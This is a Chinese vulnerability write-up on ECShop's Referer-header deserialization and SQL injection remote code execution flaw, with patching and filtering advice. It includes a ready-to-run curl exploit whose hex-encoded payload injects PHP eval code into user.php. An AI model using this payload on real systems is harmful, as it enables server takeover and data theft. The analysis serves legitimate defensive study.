ECShop <= 2.7.x/3.6.x 全系列版本远程代码执行高危漏洞EXP
字数 1222 2025-08-27 12:33:23
ECShop全系列版本远程代码执行漏洞分析与利用
漏洞概述
ECShop是一款广泛使用的开源电子商务系统,在2018年被曝出存在高危远程代码执行漏洞,影响ECShop 2.7.x和3.6.x全系列版本。该漏洞源于ECShop对用户输入数据处理不当,导致攻击者可以在未授权的情况下执行任意PHP代码。
漏洞原理
核心问题
漏洞存在于user.php文件中,当处理用户登录请求时,系统会将HTTP Referer头中的数据未经充分过滤就进行反序列化操作,导致代码注入。
技术细节
-
Referer头处理:ECShop会将Referer头中的特定字符串(
554fcae493e564ee0dc75bdf2ebf94ca)作为分隔符,提取其中的序列化数据进行处理。 -
反序列化漏洞:攻击者可以构造恶意的序列化数据插入到Referer头中,利用PHP反序列化机制执行任意代码。
-
SQL注入:漏洞还涉及SQL注入,通过构造特定的UNION SELECT语句将恶意代码写入数据库。
漏洞利用
利用条件
- 目标系统使用ECShop 2.7.x或3.6.x版本
- 目标系统未打补丁
- 攻击者能够发送HTTP请求到目标系统
利用步骤
-
构造恶意HTTP请求,包含以下关键部分:
- 目标URL:
user.php - POST数据:
action=login&vulnspy=phpinfo();exit; - Referer头:包含恶意序列化数据和SQL注入payload
- 目标URL:
-
示例攻击命令:
curl http://target.com/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
- Payload解析:
vulnspy=phpinfo();exit;是要执行的PHP代码- Referer头中的序列化数据包含SQL注入payload
0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d是hex编码的PHP代码
防御措施
-
升级补丁:官方已发布修复补丁,应立即升级到最新安全版本
-
输入过滤:
- 严格过滤用户输入的Referer头数据
- 对反序列化操作进行安全限制
-
WAF规则:添加针对ECShop特定漏洞的防护规则
-
代码审计:检查所有用户输入处理点,确保没有不安全的反序列化操作
漏洞验证
安全研究人员可以使用以下方法验证系统是否存在此漏洞:
- 使用上述curl命令测试,观察是否返回phpinfo信息
- 检查系统日志中是否有异常Referer记录
- 使用专业漏洞扫描工具检测
总结
ECShop远程代码执行漏洞是一个典型的多重安全问题组合案例,涉及反序列化漏洞、SQL注入和代码注入。该漏洞危害性极高,攻击者可以完全控制目标系统。所有使用ECShop的用户应立即检查系统版本并采取相应防护措施。